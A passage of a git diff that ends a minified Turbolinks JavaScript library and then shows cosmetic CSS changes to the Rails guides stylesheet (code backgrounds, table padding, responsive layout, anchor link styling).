application/xhtml+xml"),this.xhr.setRequestHeader("Turbolinks-Referrer",this.referrer),this.xhr.onprogress=this.requestProgressed,this.xhr.onload=this.requestLoaded,this.xhr.onerror=this.requestFailed,this.xhr.ontimeout=this.requestTimedOut,this.xhr.onabort=this.requestCanceled},r.prototype.endRequest=function(t){return this.xhr?(this.notifyApplicationAfterRequestEnd(),null!=t&&t.call(this),this.destroy()):void 0},r.prototype.setProgress=function(t){var e;return this.progress=t,"function"==typeof(e=this.delegate).requestProgressed?e.requestProgressed(this.progress):void 0},r.prototype.destroy=function(){var t;return this.setProgress(1),"function"==typeof(t=this.delegate).requestFinished&&t.requestFinished(),this.delegate=null,this.xhr=null},r}()}.call(this),function(){var t=function(t,e){return function(){return t.apply(e,arguments)}};e.ProgressBar=function(){function e(){this.trickle=t(this.trickle,this),this.stylesheetElement=this.createStylesheetElement(),this.progressElement=this.createProgressElement()}var r;return r=300,e.defaultCSS=".turbolinks-progress-bar {\n position: fixed;\n display: block;\n top: 0;\n left: 0;\n height: 3px;\n background: #0076ff;\n z-index: 9999;\n transition: width "+r+"ms ease-out, opacity "+r/2+"ms "+r/2+"ms ease-in;\n transform: translate3d(0, 0, 0);\n}",e.prototype.show=function(){return this.visible?void 0:(this.visible=!0,this.installStylesheetElement(),this.installProgressElement(),this.startTrickling())},e.prototype.hide=function(){return this.visible&&!this.hiding?(this.hiding=!0,this.fadeProgressElement(function(t){return function(){return t.uninstallProgressElement(),t.stopTrickling(),t.visible=!1,t.hiding=!1}}(this))):void 0},e.prototype.setValue=function(t){return this.value=t,this.refresh()},e.prototype.installStylesheetElement=function(){return document.head.insertBefore(this.stylesheetElement,document.head.firstChild)},e.prototype.installProgressElement=function(){return this.progressElement.style.width=0,this.progressElement.style.opacity=1,document.documentElement.insertBefore(this.progressElement,document.body),this.refresh()},e.prototype.fadeProgressElement=function(t){return this.progressElement.style.opacity=0,setTimeout(t,1.5*r)},e.prototype.uninstallProgressElement=function(){return this.progressElement.parentNode?document.documentElement.removeChild(this.progressElement):void 0},e.prototype.startTrickling=function(){return null!=this.trickleInterval?this.trickleInterval:this.trickleInterval=setInterval(this.trickle,r)},e.prototype.stopTrickling=function(){return clearInterval(this.trickleInterval),this.trickleInterval=null},e.prototype.trickle=function(){return this.setValue(this.value+Math.random()/100)},e.prototype.refresh=function(){return requestAnimationFrame(function(t){return function(){return t.progressElement.style.width=10+90*t.value+"%"}}(this))},e.prototype.createStylesheetElement=function(){var t;return t=document.createElement("style"),t.type="text/css",t.textContent=this.constructor.defaultCSS,t},e.prototype.createProgressElement=function(){var t;return t=document.createElement("div"),t.className="turbolinks-progress-bar",t},e}()}.call(this),function(){var t=function(t,e){return function(){return t.apply(e,arguments)}};e.BrowserAdapter=function(){function r(r){this.controller=r,this.showProgressBar=t(this.showProgressBar,this),this.progressBar=new e.ProgressBar}var n,o,i;return i=e.HttpRequest,n=i.NETWORK_FAILURE,o=i.TIMEOUT_FAILURE,r.prototype.visitProposedToLocationWithAction=function(t,e){return this.controller.startVisitToLocationWithAction(t,e)},r.prototype.visitStarted=function(t){return t.issueRequest(),t.changeHistory(),t.loadCachedSnapshot()},r.prototype.visitRequestStarted=function(t){return this.progressBar.setValue(0),t.hasCachedSnapshot()||"restore"!==t.action?this.showProgressBarAfterDelay():this.showProgressBar()},r.prototype.visitRequestProgressed=function(t){return this.progressBar.setValue(t.progress)},r.prototype.visitRequestCompleted=function(t){return t.loadResponse()},r.prototype.visitRequestFailedWithStatusCode=function(t,e){switch(e){case n:case o:return this.reload();default:return t.loadResponse()}},r.prototype.visitRequestFinished=function(t){return this.hideProgressBar()},r.prototype.visitCompleted=function(t){return t.followRedirect()},r.prototype.pageInvalidated=function(){return this.reload()},r.prototype.showProgressBarAfterDelay=function(){return this.progressBarTimeout=setTimeout(this.showProgressBar,this.controller.progressBarDelay)},r.prototype.showProgressBar=function(){return this.progressBar.show()},r.prototype.hideProgressBar=function(){return this.progressBar.hide(),clearTimeout(this.progressBarTimeout)},r.prototype.reload=function(){return window.location.reload()},r}()}.call(this),function(){var t=function(t,e){return function(){return t.apply(e,arguments)}};e.History=function(){function r(e){this.delegate=e,this.onPageLoad=t(this.onPageLoad,this),this.onPopState=t(this.onPopState,this)}return r.prototype.start=function(){return this.started?void 0:(addEventListener("popstate",this.onPopState,!1),addEventListener("load",this.onPageLoad,!1),this.started=!0)},r.prototype.stop=function(){return this.started?(removeEventListener("popstate",this.onPopState,!1),removeEventListener("load",this.onPageLoad,!1),this.started=!1):void 0},r.prototype.push=function(t,r){return t=e.Location.wrap(t),this.update("push",t,r)},r.prototype.replace=function(t,r){return t=e.Location.wrap(t),this.update("replace",t,r)},r.prototype.onPopState=function(t){var r,n,o,i;return this.shouldHandlePopState()&&(i=null!=(n=t.state)?n.turbolinks:void 0)?(r=e.Location.wrap(window.location),o=i.restorationIdentifier,this.delegate.historyPoppedToLocationWithRestorationIdentifier(r,o)):void 0},r.prototype.onPageLoad=function(t){return e.defer(function(t){return function(){return t.pageLoaded=!0}}(this))},r.prototype.shouldHandlePopState=function(){return this.pageIsLoaded()},r.prototype.pageIsLoaded=function(){return this.pageLoaded||"complete"===document.readyState},r.prototype.update=function(t,e,r){var n;return n={turbolinks:{restorationIdentifier:r}},history[t+"State"](n,null,e)},r}()}.call(this),function(){e.Snapshot=function(){function t(t){var e,r;r=t.head,e=t.body,this.head=null!=r?r:document.createElement("head"),this.body=null!=e?e:document.createElement("body")}return t.wrap=function(t){return t instanceof this?t:this.fromHTML(t)},t.fromHTML=function(t){var e;return e=document.createElement("html"),e.innerHTML=t,this.fromElement(e)},t.fromElement=function(t){return new this({head:t.querySelector("head"),body:t.querySelector("body")})},t.prototype.clone=function(){return new t({head:this.head.cloneNode(!0),body:this.body.cloneNode(!0)})},t.prototype.getRootLocation=function(){var t,r;return r=null!=(t=this.getSetting("root"))?t:"/",new e.Location(r)},t.prototype.getCacheControlValue=function(){return this.getSetting("cache-control")},t.prototype.getElementForAnchor=function(t){try{return this.body.querySelector("[id='"+t+"'], a[name='"+t+"']")}catch(e){}},t.prototype.hasAnchor=function(t){return null!=this.getElementForAnchor(t)},t.prototype.isPreviewable=function(){return"no-preview"!==this.getCacheControlValue()},t.prototype.isCacheable=function(){return"no-cache"!==this.getCacheControlValue()},t.prototype.isVisitable=function(){return"reload"!==this.getSetting("visit-control")},t.prototype.getSetting=function(t){var e,r;return r=this.head.querySelectorAll("meta[name='turbolinks-"+t+"']"),e=r[r.length-1],null!=e?e.getAttribute("content"):void 0},t}()}.call(this),function(){var t=[].slice;e.Renderer=function(){function e(){}var r;return e.render=function(){var e,r,n,o;return n=arguments[0],r=arguments[1],e=3<=arguments.length?t.call(arguments,2):[],o=function(t,e,r){r.prototype=t.prototype;var n=new r,o=t.apply(n,e);return Object(o)===o?o:n}(this,e,function(){}),o.delegate=n,o.render(r),o},e.prototype.renderView=function(t){return this.delegate.viewWillRender(this.newBody),t(),this.delegate.viewRendered(this.newBody)},e.prototype.invalidateView=function(){return this.delegate.viewInvalidated()},e.prototype.createScriptElement=function(t){var e;return"false"===t.getAttribute("data-turbolinks-eval")?t:(e=document.createElement("script"),e.textContent=t.textContent,e.async=!1,r(e,t),e)},r=function(t,e){var r,n,o,i,s,a,u;for(i=e.attributes,a=[],r=0,n=i.length;n>r;r++)s=i[r],o=s.name,u=s.value,a.push(t.setAttribute(o,u));return a},e}()}.call(this),function(){e.HeadDetails=function(){function t(t){var e,r,i,s,a,u,l;for(this.element=t,this.elements={},l=this.element.childNodes,s=0,u=l.length;u>s;s++)i=l[s],i.nodeType===Node.ELEMENT_NODE&&(a=i.outerHTML,r=null!=(e=this.elements)[a]?e[a]:e[a]={type:o(i),tracked:n(i),elements:[]},r.elements.push(i))}var e,r,n,o;return t.prototype.hasElementWithKey=function(t){return t in this.elements},t.prototype.getTrackedElementSignature=function(){var t,e;return function(){var r,n;r=this.elements,n=[];for(t in r)e=r[t].tracked,e&&n.push(t);return n}.call(this).join("")},t.prototype.getScriptElementsNotInDetails=function(t){return this.getElementsMatchingTypeNotInDetails("script",t)},t.prototype.getStylesheetElementsNotInDetails=function(t){return this.getElementsMatchingTypeNotInDetails("stylesheet",t)},t.prototype.getElementsMatchingTypeNotInDetails=function(t,e){var r,n,o,i,s,a;o=this.elements,s=[];for(n in o)i=o[n],a=i.type,r=i.elements,a!==t||e.hasElementWithKey(n)||s.push(r[0]);return s},t.prototype.getProvisionalElements=function(){var t,e,r,n,o,i,s;r=[],n=this.elements;for(e in n)o=n[e],s=o.type,i=o.tracked,t=o.elements,null!=s||i?t.length>1&&r.push.apply(r,t.slice(1)):r.push.apply(r,t);return r},o=function(t){return e(t)?"script":r(t)?"stylesheet":void 0},n=function(t){return"reload"===t.getAttribute("data-turbolinks-track")},e=function(t){var e;return e=t.tagName.toLowerCase(),"script"===e},r=function(t){var e;return e=t.tagName.toLowerCase(),"style"===e||"link"===e&&"stylesheet"===t.getAttribute("rel")},t}()}.call(this),function(){var t=function(t,e){function n(){this.constructor=t}for(var o in e)r.call(e,o)&&(t[o]=e[o]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},r={}.hasOwnProperty;e.SnapshotRenderer=function(r){function n(t,r,n){this.currentSnapshot=t,this.newSnapshot=r,this.isPreview=n,this.currentHeadDetails=new e.HeadDetails(this.currentSnapshot.head),this.newHeadDetails=new e.HeadDetails(this.newSnapshot.head),this.newBody=this.newSnapshot.body}return t(n,r),n.prototype.render=function(t){return this.shouldRender()?(this.mergeHead(),this.renderView(function(e){return function(){return e.replaceBody(),e.isPreview||e.focusFirstAutofocusableElement(),t()}}(this))):this.invalidateView()},n.prototype.mergeHead=function(){return this.copyNewHeadStylesheetElements(),this.copyNewHeadScriptElements(),this.removeCurrentHeadProvisionalElements(),this.copyNewHeadProvisionalElements()},n.prototype.replaceBody=function(){return this.activateBodyScriptElements(),this.importBodyPermanentElements(),this.assignNewBody()},n.prototype.shouldRender=function(){return this.newSnapshot.isVisitable()&&this.trackedElementsAreIdentical()},n.prototype.trackedElementsAreIdentical=function(){return this.currentHeadDetails.getTrackedElementSignature()===this.newHeadDetails.getTrackedElementSignature()},n.prototype.copyNewHeadStylesheetElements=function(){var t,e,r,n,o;for(n=this.getNewHeadStylesheetElements(),o=[],e=0,r=n.length;r>e;e++)t=n[e],o.push(document.head.appendChild(t));return o},n.prototype.copyNewHeadScriptElements=function(){var t,e,r,n,o;for(n=this.getNewHeadScriptElements(),o=[],e=0,r=n.length;r>e;e++)t=n[e],o.push(document.head.appendChild(this.createScriptElement(t)));return o},n.prototype.removeCurrentHeadProvisionalElements=function(){var t,e,r,n,o;for(n=this.getCurrentHeadProvisionalElements(),o=[],e=0,r=n.length;r>e;e++)t=n[e],o.push(document.head.removeChild(t));return o},n.prototype.copyNewHeadProvisionalElements=function(){var t,e,r,n,o;for(n=this.getNewHeadProvisionalElements(),o=[],e=0,r=n.length;r>e;e++)t=n[e],o.push(document.head.appendChild(t));return o},n.prototype.importBodyPermanentElements=function(){var t,e,r,n,o,i;for(n=this.getNewBodyPermanentElements(),i=[],e=0,r=n.length;r>e;e++)o=n[e],(t=this.findCurrentBodyPermanentElement(o))?i.push(o.parentNode.replaceChild(t,o)):i.push(void 0);return i},n.prototype.activateBodyScriptElements=function(){var t,e,r,n,o,i;for(n=this.getNewBodyScriptElements(),i=[],e=0,r=n.length;r>e;e++)o=n[e],t=this.createScriptElement(o),i.push(o.parentNode.replaceChild(t,o));return i},n.prototype.assignNewBody=function(){return document.body=this.newBody},n.prototype.focusFirstAutofocusableElement=function(){var t;return null!=(t=this.findFirstAutofocusableElement())?t.focus():void 0},n.prototype.getNewHeadStylesheetElements=function(){return this.newHeadDetails.getStylesheetElementsNotInDetails(this.currentHeadDetails)},n.prototype.getNewHeadScriptElements=function(){return this.newHeadDetails.getScriptElementsNotInDetails(this.currentHeadDetails)},n.prototype.getCurrentHeadProvisionalElements=function(){return this.currentHeadDetails.getProvisionalElements()},n.prototype.getNewHeadProvisionalElements=function(){return this.newHeadDetails.getProvisionalElements()},n.prototype.getNewBodyPermanentElements=function(){return this.newBody.querySelectorAll("[id][data-turbolinks-permanent]")},n.prototype.findCurrentBodyPermanentElement=function(t){return document.body.querySelector("#"+t.id+"[data-turbolinks-permanent]")},n.prototype.getNewBodyScriptElements=function(){return this.newBody.querySelectorAll("script")},n.prototype.findFirstAutofocusableElement=function(){return document.body.querySelector("[autofocus]")},n}(e.Renderer)}.call(this),function(){var t=function(t,e){function n(){this.constructor=t}for(var o in e)r.call(e,o)&&(t[o]=e[o]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},r={}.hasOwnProperty;e.ErrorRenderer=function(e){function r(t){this.html=t}return t(r,e),r.prototype.render=function(t){return this.renderView(function(e){return function(){return e.replaceDocumentHTML(),e.activateBodyScriptElements(),t()}}(this))},r.prototype.replaceDocumentHTML=function(){return document.documentElement.innerHTML=this.html},r.prototype.activateBodyScriptElements=function(){var t,e,r,n,o,i;for(n=this.getScriptElements(),i=[],e=0,r=n.length;r>e;e++)o=n[e],t=this.createScriptElement(o),i.push(o.parentNode.replaceChild(t,o));return i},r.prototype.getScriptElements=function(){return document.documentElement.querySelectorAll("script")},r}(e.Renderer)}.call(this),function(){e.View=function(){function t(t){this.delegate=t,this.element=document.documentElement}return t.prototype.getRootLocation=function(){return this.getSnapshot().getRootLocation()},t.prototype.getElementForAnchor=function(t){return this.getSnapshot().getElementForAnchor(t)},t.prototype.getSnapshot=function(){return e.Snapshot.fromElement(this.element)},t.prototype.render=function(t,e){var r,n,o;return o=t.snapshot,r=t.error,n=t.isPreview,this.markAsPreview(n),null!=o?this.renderSnapshot(o,n,e):this.renderError(r,e)},t.prototype.markAsPreview=function(t){return t?this.element.setAttribute("data-turbolinks-preview",""):this.element.removeAttribute("data-turbolinks-preview")},t.prototype.renderSnapshot=function(t,r,n){return e.SnapshotRenderer.render(this.delegate,n,this.getSnapshot(),e.Snapshot.wrap(t),r)},t.prototype.renderError=function(t,r){return e.ErrorRenderer.render(this.delegate,r,t)},t}()}.call(this),function(){var t=function(t,e){return function(){return t.apply(e,arguments)}};e.ScrollManager=function(){function r(r){this.delegate=r,this.onScroll=t(this.onScroll,this),this.onScroll=e.throttle(this.onScroll)}return r.prototype.start=function(){return this.started?void 0:(addEventListener("scroll",this.onScroll,!1),this.onScroll(),this.started=!0)},r.prototype.stop=function(){return this.started?(removeEventListener("scroll",this.onScroll,!1),this.started=!1):void 0},r.prototype.scrollToElement=function(t){return t.scrollIntoView()},r.prototype.scrollToPosition=function(t){var e,r;return e=t.x,r=t.y,window.scrollTo(e,r)},r.prototype.onScroll=function(t){return this.updatePosition({x:window.pageXOffset,y:window.pageYOffset})},r.prototype.updatePosition=function(t){var e;return this.position=t,null!=(e=this.delegate)?e.scrollPositionChanged(this.position):void 0},r}()}.call(this),function(){e.SnapshotCache=function(){function t(t){this.size=t,this.keys=[],this.snapshots={}}var r;return t.prototype.has=function(t){var e;return e=r(t),e in this.snapshots},t.prototype.get=function(t){var e;if(this.has(t))return e=this.read(t),this.touch(t),e},t.prototype.put=function(t,e){return this.write(t,e),this.touch(t),e},t.prototype.read=function(t){var e;return e=r(t),this.snapshots[e]},t.prototype.write=function(t,e){var n;return n=r(t),this.snapshots[n]=e},t.prototype.touch=function(t){var e,n;return n=r(t),e=this.keys.indexOf(n),e>-1&&this.keys.splice(e,1),this.keys.unshift(n),this.trim()},t.prototype.trim=function(){var t,e,r,n,o;for(n=this.keys.splice(this.size),o=[],t=0,r=n.length;r>t;t++)e=n[t],o.push(delete this.snapshots[e]);return o},r=function(t){return e.Location.wrap(t).toCacheKey()},t}()}.call(this),function(){var t=function(t,e){return function(){return t.apply(e,arguments)}};e.Visit=function(){function r(r,n,o){this.controller=r,this.action=o,this.performScroll=t(this.performScroll,this),this.identifier=e.uuid(),this.location=e.Location.wrap(n),this.adapter=this.controller.adapter,this.state="initialized",this.timingMetrics={}}var n;return r.prototype.start=function(){return"initialized"===this.state?(this.recordTimingMetric("visitStart"),this.state="started",this.adapter.visitStarted(this)):void 0},r.prototype.cancel=function(){var t;return"started"===this.state?(null!=(t=this.request)&&t.cancel(),this.cancelRender(),this.state="canceled"):void 0},r.prototype.complete=function(){var t;return"started"===this.state?(this.recordTimingMetric("visitEnd"),this.state="completed","function"==typeof(t=this.adapter).visitCompleted&&t.visitCompleted(this),this.controller.visitCompleted(this)):void 0},r.prototype.fail=function(){var t;return"started"===this.state?(this.state="failed","function"==typeof(t=this.adapter).visitFailed?t.visitFailed(this):void 0):void 0},r.prototype.changeHistory=function(){var t,e;return this.historyChanged?void 0:(t=this.location.isEqualTo(this.referrer)?"replace":this.action,e=n(t),this.controller[e](this.location,this.restorationIdentifier),this.historyChanged=!0)},r.prototype.issueRequest=function(){return this.shouldIssueRequest()&&null==this.request?(this.progress=0,this.request=new e.HttpRequest(this,this.location,this.referrer),this.request.send()):void 0},r.prototype.getCachedSnapshot=function(){var t;return!(t=this.controller.getCachedSnapshotForLocation(this.location))||null!=this.location.anchor&&!t.hasAnchor(this.location.anchor)||"restore"!==this.action&&!t.isPreviewable()?void 0:t},r.prototype.hasCachedSnapshot=function(){return null!=this.getCachedSnapshot()},r.prototype.loadCachedSnapshot=function(){var t,e;return(e=this.getCachedSnapshot())?(t=this.shouldIssueRequest(),this.render(function(){var r;return this.cacheSnapshot(),this.controller.render({snapshot:e,isPreview:t},this.performScroll),"function"==typeof(r=this.adapter).visitRendered&&r.visitRendered(this),t?void 0:this.complete()})):void 0},r.prototype.loadResponse=function(){return null!=this.response?this.render(function(){var t,e;return this.cacheSnapshot(),this.request.failed?(this.controller.render({error:this.response},this.performScroll),"function"==typeof(t=this.adapter).visitRendered&&t.visitRendered(this),this.fail()):(this.controller.render({snapshot:this.response},this.performScroll),"function"==typeof(e=this.adapter).visitRendered&&e.visitRendered(this),this.complete())}):void 0},r.prototype.followRedirect=function(){return this.redirectedToLocation&&!this.followedRedirect?(this.location=this.redirectedToLocation,this.controller.replaceHistoryWithLocationAndRestorationIdentifier(this.redirectedToLocation,this.restorationIdentifier),this.followedRedirect=!0):void 0},r.prototype.requestStarted=function(){var t;return this.recordTimingMetric("requestStart"),"function"==typeof(t=this.adapter).visitRequestStarted?t.visitRequestStarted(this):void 0},r.prototype.requestProgressed=function(t){var e;return this.progress=t,"function"==typeof(e=this.adapter).visitRequestProgressed?e.visitRequestProgressed(this):void 0},r.prototype.requestCompletedWithResponse=function(t,r){return this.response=t,null!=r&&(this.redirectedToLocation=e.Location.wrap(r)),this.adapter.visitRequestCompleted(this)},r.prototype.requestFailedWithStatusCode=function(t,e){return this.response=e,this.adapter.visitRequestFailedWithStatusCode(this,t)},r.prototype.requestFinished=function(){var t;return this.recordTimingMetric("requestEnd"),"function"==typeof(t=this.adapter).visitRequestFinished?t.visitRequestFinished(this):void 0},r.prototype.performScroll=function(){return this.scrolled?void 0:("restore"===this.action?this.scrollToRestoredPosition()||this.scrollToTop():this.scrollToAnchor()||this.scrollToTop(),this.scrolled=!0)},r.prototype.scrollToRestoredPosition=function(){var t,e;return t=null!=(e=this.restorationData)?e.scrollPosition:void 0,null!=t?(this.controller.scrollToPosition(t),!0):void 0},r.prototype.scrollToAnchor=function(){return null!=this.location.anchor?(this.controller.scrollToAnchor(this.location.anchor),!0):void 0},r.prototype.scrollToTop=function(){return this.controller.scrollToPosition({x:0,y:0})},r.prototype.recordTimingMetric=function(t){var e;return null!=(e=this.timingMetrics)[t]?e[t]:e[t]=(new Date).getTime()},r.prototype.getTimingMetrics=function(){return e.copyObject(this.timingMetrics)},n=function(t){switch(t){case"replace":return"replaceHistoryWithLocationAndRestorationIdentifier";case"advance":case"restore":return"pushHistoryWithLocationAndRestorationIdentifier"}},r.prototype.shouldIssueRequest=function(){return"restore"===this.action?!this.hasCachedSnapshot():!0},r.prototype.cacheSnapshot=function(){return this.snapshotCached?void 0:(this.controller.cacheSnapshot(),this.snapshotCached=!0)},r.prototype.render=function(t){return this.cancelRender(),this.frame=requestAnimationFrame(function(e){return function(){return e.frame=null,t.call(e)}}(this))},r.prototype.cancelRender=function(){return this.frame?cancelAnimationFrame(this.frame):void 0},r}()}.call(this),function(){var t=function(t,e){return function(){return t.apply(e,arguments)}};e.Controller=function(){function r(){this.clickBubbled=t(this.clickBubbled,this),this.clickCaptured=t(this.clickCaptured,this),this.pageLoaded=t(this.pageLoaded,this),this.history=new e.History(this),this.view=new e.View(this),this.scrollManager=new e.ScrollManager(this),this.restorationData={},this.clearCache(),this.setProgressBarDelay(500)}return r.prototype.start=function(){return e.supported&&!this.started?(addEventListener("click",this.clickCaptured,!0),addEventListener("DOMContentLoaded",this.pageLoaded,!1),this.scrollManager.start(),this.startHistory(),this.started=!0,this.enabled=!0):void 0},r.prototype.disable=function(){return this.enabled=!1},r.prototype.stop=function(){return this.started?(removeEventListener("click",this.clickCaptured,!0),removeEventListener("DOMContentLoaded",this.pageLoaded,!1),this.scrollManager.stop(),this.stopHistory(),this.started=!1):void 0},r.prototype.clearCache=function(){return this.cache=new e.SnapshotCache(10)},r.prototype.visit=function(t,r){var n,o;return null==r&&(r={}),t=e.Location.wrap(t),this.applicationAllowsVisitingLocation(t)?this.locationIsVisitable(t)?(n=null!=(o=r.action)?o:"advance",this.adapter.visitProposedToLocationWithAction(t,n)):window.location=t:void 0},r.prototype.startVisitToLocationWithAction=function(t,r,n){var o;return e.supported?(o=this.getRestorationDataForIdentifier(n),this.startVisit(t,r,{restorationData:o})):window.location=t},r.prototype.setProgressBarDelay=function(t){return this.progressBarDelay=t},r.prototype.startHistory=function(){return this.location=e.Location.wrap(window.location),this.restorationIdentifier=e.uuid(),this.history.start(),this.history.replace(this.location,this.restorationIdentifier)},r.prototype.stopHistory=function(){return this.history.stop()},r.prototype.pushHistoryWithLocationAndRestorationIdentifier=function(t,r){return this.restorationIdentifier=r,this.location=e.Location.wrap(t),this.history.push(this.location,this.restorationIdentifier)},r.prototype.replaceHistoryWithLocationAndRestorationIdentifier=function(t,r){return this.restorationIdentifier=r,this.location=e.Location.wrap(t),this.history.replace(this.location,this.restorationIdentifier)},r.prototype.historyPoppedToLocationWithRestorationIdentifier=function(t,r){var n;return this.restorationIdentifier=r,this.enabled?(n=this.getRestorationDataForIdentifier(this.restorationIdentifier),this.startVisit(t,"restore",{restorationIdentifier:this.restorationIdentifier,restorationData:n,historyChanged:!0}),this.location=e.Location.wrap(t)):this.adapter.pageInvalidated()},r.prototype.getCachedSnapshotForLocation=function(t){var e;return e=this.cache.get(t),e?e.clone():void 0},r.prototype.shouldCacheSnapshot=function(){return this.view.getSnapshot().isCacheable()},r.prototype.cacheSnapshot=function(){var t;return this.shouldCacheSnapshot()?(this.notifyApplicationBeforeCachingSnapshot(),t=this.view.getSnapshot(),this.cache.put(this.lastRenderedLocation,t.clone())):void 0},r.prototype.scrollToAnchor=function(t){var e;return(e=this.view.getElementForAnchor(t))?this.scrollToElement(e):this.scrollToPosition({x:0,y:0})},r.prototype.scrollToElement=function(t){return this.scrollManager.scrollToElement(t)},r.prototype.scrollToPosition=function(t){return this.scrollManager.scrollToPosition(t)},r.prototype.scrollPositionChanged=function(t){var e;return e=this.getCurrentRestorationData(),e.scrollPosition=t},r.prototype.render=function(t,e){return this.view.render(t,e)},r.prototype.viewInvalidated=function(){return this.adapter.pageInvalidated()},r.prototype.viewWillRender=function(t){return this.notifyApplicationBeforeRender(t)},r.prototype.viewRendered=function(){return this.lastRenderedLocation=this.currentVisit.location,this.notifyApplicationAfterRender()},r.prototype.pageLoaded=function(){return this.lastRenderedLocation=this.location,this.notifyApplicationAfterPageLoad()},r.prototype.clickCaptured=function(){return removeEventListener("click",this.clickBubbled,!1),addEventListener("click",this.clickBubbled,!1)},r.prototype.clickBubbled=function(t){var e,r,n;return this.enabled&&this.clickEventIsSignificant(t)&&(r=this.getVisitableLinkForNode(t.target))&&(n=this.getVisitableLocationForLink(r))&&this.applicationAllowsFollowingLinkToLocation(r,n)?(t.preventDefault(),e=this.getActionForLink(r),
+this.visit(n,{action:e})):void 0},r.prototype.applicationAllowsFollowingLinkToLocation=function(t,e){var r;return r=this.notifyApplicationAfterClickingLinkToLocation(t,e),!r.defaultPrevented},r.prototype.applicationAllowsVisitingLocation=function(t){var e;return e=this.notifyApplicationBeforeVisitingLocation(t),!e.defaultPrevented},r.prototype.notifyApplicationAfterClickingLinkToLocation=function(t,r){return e.dispatch("turbolinks:click",{target:t,data:{url:r.absoluteURL},cancelable:!0})},r.prototype.notifyApplicationBeforeVisitingLocation=function(t){return e.dispatch("turbolinks:before-visit",{data:{url:t.absoluteURL},cancelable:!0})},r.prototype.notifyApplicationAfterVisitingLocation=function(t){return e.dispatch("turbolinks:visit",{data:{url:t.absoluteURL}})},r.prototype.notifyApplicationBeforeCachingSnapshot=function(){return e.dispatch("turbolinks:before-cache")},r.prototype.notifyApplicationBeforeRender=function(t){return e.dispatch("turbolinks:before-render",{data:{newBody:t}})},r.prototype.notifyApplicationAfterRender=function(){return e.dispatch("turbolinks:render")},r.prototype.notifyApplicationAfterPageLoad=function(t){return null==t&&(t={}),e.dispatch("turbolinks:load",{data:{url:this.location.absoluteURL,timing:t}})},r.prototype.startVisit=function(t,e,r){var n;return null!=(n=this.currentVisit)&&n.cancel(),this.currentVisit=this.createVisit(t,e,r),this.currentVisit.start(),this.notifyApplicationAfterVisitingLocation(t)},r.prototype.createVisit=function(t,r,n){var o,i,s,a,u;return i=null!=n?n:{},a=i.restorationIdentifier,s=i.restorationData,o=i.historyChanged,u=new e.Visit(this,t,r),u.restorationIdentifier=null!=a?a:e.uuid(),u.restorationData=e.copyObject(s),u.historyChanged=o,u.referrer=this.location,u},r.prototype.visitCompleted=function(t){return this.notifyApplicationAfterPageLoad(t.getTimingMetrics())},r.prototype.clickEventIsSignificant=function(t){return!(t.defaultPrevented||t.target.isContentEditable||t.which>1||t.altKey||t.ctrlKey||t.metaKey||t.shiftKey)},r.prototype.getVisitableLinkForNode=function(t){return this.nodeIsVisitable(t)?e.closest(t,"a[href]:not([target]):not([download])"):void 0},r.prototype.getVisitableLocationForLink=function(t){var r;return r=new e.Location(t.getAttribute("href")),this.locationIsVisitable(r)?r:void 0},r.prototype.getActionForLink=function(t){var e;return null!=(e=t.getAttribute("data-turbolinks-action"))?e:"advance"},r.prototype.nodeIsVisitable=function(t){var r;return(r=e.closest(t,"[data-turbolinks]"))?"false"!==r.getAttribute("data-turbolinks"):!0},r.prototype.locationIsVisitable=function(t){return t.isPrefixedBy(this.view.getRootLocation())&&t.isHTML()},r.prototype.getCurrentRestorationData=function(){return this.getRestorationDataForIdentifier(this.restorationIdentifier)},r.prototype.getRestorationDataForIdentifier=function(t){var e;return null!=(e=this.restorationData)[t]?e[t]:e[t]={}},r}()}.call(this),function(){!function(){var t,e;if((t=e=document.currentScript)&&!e.hasAttribute("data-turbolinks-suppress-warning"))for(;t=t.parentNode;)if(t===document.body)return console.warn("You are loading Turbolinks from a <script> element inside the <body> element. This is probably not what you meant to do!\n\nLoad your application\u2019s JavaScript bundle inside the <head> element instead. <script> elements in <body> are evaluated with each page change.\n\nFor more information, see: https://github.com/turbolinks/turbolinks#working-with-script-elements\n\n\u2014\u2014\nSuppress this warning by adding a `data-turbolinks-suppress-warning` attribute to: %s",e.outerHTML)}()}.call(this),function(){var t,r,n;e.start=function(){return r()?(null==e.controller&&(e.controller=t()),e.controller.start()):void 0},r=function(){return null==window.Turbolinks&&(window.Turbolinks=e),n()},t=function(){var t;return t=new e.Controller,t.adapter=new e.BrowserAdapter(t),t},n=function(){return window.Turbolinks===e},n()&&e.start()}.call(this)}).call(this),"object"==typeof module&&module.exports?module.exports=e:"function"==typeof define&&define.amd&&define(e)}).call(this);
diff --git a/guides/assets/stylesheets/main.css b/guides/assets/stylesheets/main.css
index b56699a0d0..2657a84a91 100644
--- a/guides/assets/stylesheets/main.css
+++ b/guides/assets/stylesheets/main.css
@@ -33,6 +33,13 @@ pre, code {
overflow: auto;
color: #222;
}
+
+p code {
+ background: #eee;
+ border-radius: 2px;
+ padding: 1px 3px;
+}
+
pre, tt, code {
white-space: pre-wrap; /* css-3 */
white-space: -moz-pre-wrap !important; /* Mozilla, since 1999 */
@@ -70,7 +77,7 @@ table {
}
table th, table td {
- padding: 0.25em 1em;
+ padding: 9px 10px;
border: 1px solid #CCC;
border-collapse: collapse;
}
@@ -79,7 +86,6 @@ table th {
border-bottom: 2px solid #CCC;
background: #EEE;
font-weight: bold;
- padding: 0.5em 1em;
}
img {
@@ -265,8 +271,6 @@ body {
}
}
-#extraCol {display: none;}
-
#footer {
padding: 2em 0;
background: #222 url(../images/footer_tile.gif) repeat-x;
@@ -279,8 +283,12 @@ body {
#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; max-width: 960px;}
#feature .wrapper {max-width: 640px; padding-right: 23em; position: relative; z-index: 0;}
+@media screen and (max-width: 960px) {
+ #container .wrapper { padding-right: 23em; }
+}
+
@media screen and (max-width: 800px) {
- #feature .wrapper { padding-right: 0; }
+ #feature .wrapper, #container .wrapper { padding-right: 0; }
}
/* Links
@@ -294,6 +302,10 @@ a, a:link, a:visited {
#mainCol a, #subCol a, #feature a {color: #980905;}
#mainCol a code, #subCol a code, #feature a code {color: #980905;}
+#mainCol a.anchorlink, #mainCol a.anchorlink code {color: #333;}
+#mainCol a.anchorlink { text-decoration: none; }
+#mainCol a.anchorlink:hover { text-decoration: underline; }
+
/* Navigation
--------------------------------------- */
@@ -406,6 +418,10 @@ a, a:link, a:visited {
padding-top: 2em;
}
+#guides.visible {
+ display: block !important;
+}
+
#guides dt, #guides dd {
